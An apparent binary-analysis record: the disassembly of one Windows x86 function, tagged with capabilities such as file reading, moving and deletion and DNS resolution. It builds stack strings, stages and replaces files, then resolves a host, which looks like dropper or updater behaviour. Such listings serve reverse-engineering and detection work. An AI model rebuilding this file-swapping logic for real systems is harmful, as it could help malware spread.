Function at 0x404e30
Capabilities:
Check if file exists
Delete file
Get file attributes
Initialize winsock library
Move file
Read file on windows
Resolve dns
Set file attributes

Disassembly:
mov eax, 0x18da0
call fcn.00408870
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push 0x411c58
call edi
cmp eax, 0xffffffff
je 0x4050b5
mov edi, dword [sym.imp.KERNEL32.DLL_CreateFileA]
push ebx
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push ebx
push closesocket
push 0x411c58
call edi
mov esi, eax
cmp esi, ebx
je 0x405080
push ebx
lea eax, [esp + 0x28]
push eax
push 0x3ff
lea ecx, [esp + 0x318]
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov edx, dword [esp + 0x24]
push esi
mov byte [esp + edx + 0x310], bl
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [esp + 0x30c]
push eax
call fcn.004086d0
add esp, 4
cmp eax, 0xa
jbe 0x405080
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x310]
push 8
mov byte [esp + 0x24], bl
push edx
mov byte [esp + 0x20], 0x42
mov byte [esp + 0x21], 0x52
mov byte [esp + 0x22], 0x4f
mov byte [esp + 0x23], 0x44
mov byte [esp + 0x24], 0x58
mov byte [esp + 0x25], 0x59
mov byte [esp + 0x26], 0x5a
mov byte [esp + 0x27], 0x3d
mov byte [esp + 0x28], bl
call fcn.00402130
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x38]
push ecx
call fcn.004089e0
add esp, 0x14
test eax, eax
jne 0x405080
push ebp
lea edx, [esp + 0x7c]
push edx
push 1
lea eax, [esp + 0x318]
push 0x3d
mov byte [esp + 0x21], bl
push eax
mov byte [esp + 0x20], 0x75
mov byte [esp + 0x21], 0x62
mov byte [esp + 0x22], 0x72
mov byte [esp + 0x23], 0x6f
mov byte [esp + 0x24], 0x2f
mov byte [esp + 0x25], bl
call fcn.004020e0
push ebx
lea ecx, [esp + 0x90]
push 0x40cdc0
push ecx
call fcn.00401370
lea edx, [esp + 0x98]
push edx
dec eax
push eax
mov eax, edx
push eax
call fcn.00402130
lea ecx, [esp + 0x64]
push ecx
call fcn.00404490
lea edx, [esp + 0x3c]
push edx
lea eax, [esp + 0xac]
push eax
call fcn.00408770
lea ecx, [esp + 0x70]
push ecx
lea edx, [esp + 0xb4]
push edx
call fcn.00408770
lea eax, [esp + 0x1bc]
push eax
push 0x40cdb8
push 0x40cdb0
push 0x412220
call fcn.00402080
add esp, 0x4c
lea ecx, [esp + 0x180]
push ecx
lea edx, [esp + 0x80]
push edx
call fcn.00401450
mov ebp, dword [sym.imp.KERNEL32.DLL_Sleep]
add esp, 8
push 0x3e8
call ebp
lea eax, [esp + 0x180]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40507f
push ebx
push 0x80
push 3
push ebx
push ebx
push closesocket
lea ecx, [esp + 0x198]
push ecx
call edi
mov esi, eax
cmp esi, ebx
je 0x405068
push ebx
lea edx, [esp + 0x28]
push edx
push 0x1869f
lea eax, [esp + 0x71c]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov ecx, dword [esp + 0x24]
push esi
mov byte [esp + ecx + 0x714], bl
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp dword [esp + 0x24], 0x9c40
jbe 0x405068
push 0x410ba0
lea edx, [esp + 0x184]
push edx
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
push 0x3e8
call ebp
lea eax, [esp + 0x180]
push eax
call fcn.00401240
add esp, 4
pop ebp
push 0x411c58
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
pop ebx
je 0x405110
push 0x80
push 0x411c58
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push 0x411c58
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
pop edi
pop esi
add esp, 0x18da0
ret
lea ecx, [esp + 0x178]
push ecx
push 0x101
call sub.WSOCK32.dll_WSAStartup
test eax, eax
jne 0x405110
push 0x40cda4
call sub.WSOCK32.dll_gethostbyname
mov esi, eax
call sub.WSOCK32.dll_WSACleanup
test esi, esi
je 0x405110
push 0x411c58
push 0x410288
call fcn.00401450
add esp, 8
push 0x412540
call edi
cmp eax, 0xffffffff
jne 0x405110
push 0x412540
push 0x410820
call fcn.00401450
add esp, 8
pop edi
pop esi
add esp, 0x18da0
ret